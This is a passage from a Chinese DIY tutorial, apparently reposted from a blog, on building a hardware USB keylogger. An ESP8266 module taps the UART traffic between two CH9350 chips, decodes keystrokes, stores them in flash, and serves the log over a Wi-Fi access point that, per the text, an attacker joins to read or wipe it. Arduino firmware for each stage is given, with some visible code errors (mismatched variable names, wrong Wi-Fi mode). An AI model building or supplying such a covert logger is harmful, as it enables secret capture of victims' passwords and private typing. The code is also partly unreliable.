手把手教你DIY一个硬件键盘记录器(2)

1593367466_5ef8dbaa4182f.png!small

原理图

左下角是电源模块,由于ESP8266需要3.3V的供电,USB接口是5V的供电,因此使用AMS1117-3.3芯片进行转换。

正下方是ESP8266-07S模块,我们使用它UART接口的RX(接收端)来接收CH9350发出的数据。它连接到键盘端CH9350 UART的TX(发送端),“旁听”CH9350之间的通讯。

这样还有一个好处:键盘记录器的分析模块站在了“旁观者”的角度,即使它出现了解析速度慢,甚至宕机的情况,也不会对键盘产生任何影响。

正中央的两颗芯片是CH9350。根据官方文档,使用两颗CH9350分别作为连接键盘的下位机和连接电脑的上位机,统一使用3.3V供电。

两侧是USB接头和母座,用于插入电脑的USB接口,和连接USB键盘。

固件设计

具体的键盘数据解析、数据存储、Wi-Fi功能,需要我们在ESP8266模块中编写相关程序,也就是固件。

ESP8266支持通过Arduino开发,这为我们的固件开发提供了便利,因此本文在Arduino环境下完成开发。

ESP8266的固件,需要实现:

通过UART串口读取CH9350之间的键盘数据,并进行解析。

将数据储存进SPIFSS中,并提供读取和清空的功能。

提供通过Wi-Fi查看记录内容的功能

上电后,两颗CH9350会自动协商进入“模式1”,在UART接口上传输多种数据帧。具体的过程和数据帧信息,请查阅官方文档。其中我们需要的是“有效键值帧”,它包含了用户在键盘上按下的按键信息。其格式如下:

1593367520_5ef8dbe08fb21.jpg!small

有效键值帧

由于我们截取的是USB键盘的数据,帧格式一般是这样的:

57AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17 //A键被按下

57AB 83 0C 12 01 00 00 00 00 00 00 00 00 13 14 //按键被放开

前面的6位固定,接下来的8位是标准的USB键盘数据,最后两位是序列号和校验。

前6位我们可以作为识别有效键值帧的特征,接下来读取后8位即可得到击键信息。

具体的数据表请参考USB HID Usage Table,连接在文末。

Arduino中,实现识别有效键值帧的示例代码如下:

void loop() {  

  while (Serial.available() > 0) { //串口缓冲区有数据  

    if (Serial.read() == 0x83){ //帧的第二位 83 是第一个特征  

      delay(10); //适当延迟,等待后续数据到达串口缓冲区  

      if (Serial.read() == 0x0C){  

        delay(10);  

        if (Serial.read() == 0x12){  

          delay(10);  

          if (Serial.read() == 0x01){  

                //此处读取8位键盘数据  

          }  

        }  

      }  

    }  

  }  

}  

ESP8266模块通过连接到上位机的CH9350的TX端口,接收键盘数据帧。并将其解码为按键信息。接下来将获得的数据保存在SPIFSS中。

SPIFSS(Serial Peripheral Interface Flash File System)是ESP8266模块自带的一个闪存,它的数据在断电后也不会丢失。ESP8266-07S模块中,这个闪存的大小为4M,足够我们保存相当多的键盘记录了。

通过FS.h我们可以对SPIFSS进行读取和修改,示例代码如下:

#include <FS.h>  

File logFile; //创建文件对象  

  

void setup() {  

SPIFFS.begin();   

logFile = SPIFFS.open("/keyLog.txt", "a+"); //打开一个文件  

dataFile.println("Some Data Here,Maybe Keylog"); //写入数据  

dataFile.close();  

}  

最后是Wi-Fi部分:创建一个Wi-Fi网络,攻击者连接后可以查看或清空键盘记录。这里参考了wifi_keylogger的部分思路,示例代码如下:

#include <ESP8266WiFi.h>  

#include <ESPAsyncTCP.h>  

#include <ESPAsyncWebServer.h>  

  

const char *ssid = "USBKeylogger"; //创建的接入点的名称  

const char *password = "12345678";  //接入点的密码  

  

AsyncWebServer server(80); //在80端口开启服务(ip为192.168.4.1)  

  

  

void setup() {  

  WiFi.mode(WIFI_STA); //Wi-Fi为接入点模式  

  WiFi.softAP(ssid,password); //开启Wi-Fi  

    

  server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){ //当访问根目录时显示记录内容  

    request->send(SPIFFS, "/keyLog.txt", "text/plain");  

  });  

  

  server.on("/clear", HTTP_GET, [](AsyncWebServerRequest *request){ //当访问“/claer”时清空已有记录  

    logFile.close();  

    logFile = SPIFFS.open("/keyLog.txt", "w");  

    request->send(200, "text/plain", "Log File Cleared!");  

  });  

    

  server.begin(); //开启服务器  

}  

三者结合就是USBKeylogger的全部代码了。完整的固件源代码,可以在文末给出的链接处下载。

四、硬件制作 PCB设计与生产

为了将理论转为现实,我们要将原理图转换为PCB,并进行Layout。这里使用了立创EDA进行制作。

具体的Layout过程,受限于篇幅,在此不做叙述。笔者的PCB设计如图所示:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/3ba9bbda9b99a6ddd81ce998669d9a73.html